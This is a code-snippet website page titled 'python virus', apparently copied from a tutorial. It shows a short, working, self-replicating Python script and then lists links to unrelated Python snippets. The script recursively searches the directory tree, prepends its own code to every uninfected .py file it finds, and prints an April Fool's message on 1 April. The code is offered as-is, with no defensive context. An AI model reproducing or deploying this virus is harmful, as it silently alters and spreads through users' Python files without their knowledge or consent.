Search
 
SCRIPT & CODE EXAMPLE
 

PYTHON

python virus


#!/usr/bin/python 
import os, datetime, inspect 
DATA_TO_INSERT = "GEEKSFORGEEKS"
  
#search for target files in path
def search(path):  
    filestoinfect = [] 
    filelist = os.listdir(path) 
    for filename in filelist: 
          
        #If it is a folder
        if os.path.isdir(path+"/"+filename):  
            filestoinfect.extend(search(path+"/"+filename)) 
              
        #If it is a python script -> Infect it    
        elif filename[-3:] == ".py":
              
            #default value
            infected = False  
            for line in open(path+"/"+filename): 
                if DATA_TO_INSERT in line: 
                    infected = True
                    break
            if infected == False: 
                filestoinfect.append(path+"/"+filename) 
    return filestoinfect 
  
#changes to be made in the target file 
def infect(filestoinfect): 
    target_file = inspect.currentframe().f_code.co_filename 
    virus = open(os.path.abspath(target_file)) 
    virusstring = "" 
    for i,line in enumerate(virus): 
        if i>=0 and i <41: 
            virusstring += line 
    virus.close 
    for fname in filestoinfect: 
        f = open(fname) 
        temp = f.read() 
        f.close() 
        f = open(fname,"w") 
        f.write(virusstring + temp) 
        f.close() 
          
#Not required actually        
def explode(): 
    if datetime.datetime.now().month == 4 and datetime.datetime.now().day == 1: 
            print ("HAPPY APRIL FOOL'S DAY!!")
filestoinfect = search(os.path.abspath("")) 
infect(filestoinfect) 
explode() 
Comment

PREVIOUS NEXT
Code Example
Python :: python logging to file 
Python :: cprofile usage python 
Python :: python loop break on keypress 
Python :: df drop column 
Python :: write file with python 
Python :: add font to the label in window tkinter 
Python :: django queryset unique values 
Python :: como deixar todas as letras maiusculas no python 
Python :: how to remove all zeros from a list in python 
Python :: pyperclip copy paste 
Python :: python convert remove spaces from beginning of string 
Python :: import statsmodels.api as sm 
Python :: convert_text_to_hexadecimal_viva.py in python 
Python :: the system cannot find the file specified sublime text 3 python 
Python :: python print unicode character 
Python :: binary search algorithm python 
Python :: athena connector python 
Python :: import load_iris 
Python :: zlib decompress python 
Python :: run git pull from python script 
Python :: string to ascii value python 
Python :: is prime in python 
Python :: flask upload file to s3 
Python :: how to create a python venv 
Python :: pandas apply with multiple arguments 
Python :: get biggest value in array python3 
Python :: raise python 
Python :: sklearn cross validation score 
Python :: python code to remove vowels from a string 
Python :: unnamed 0 pandas 
ADD CONTENT
Topic
Content
Source link
Name
8+8 =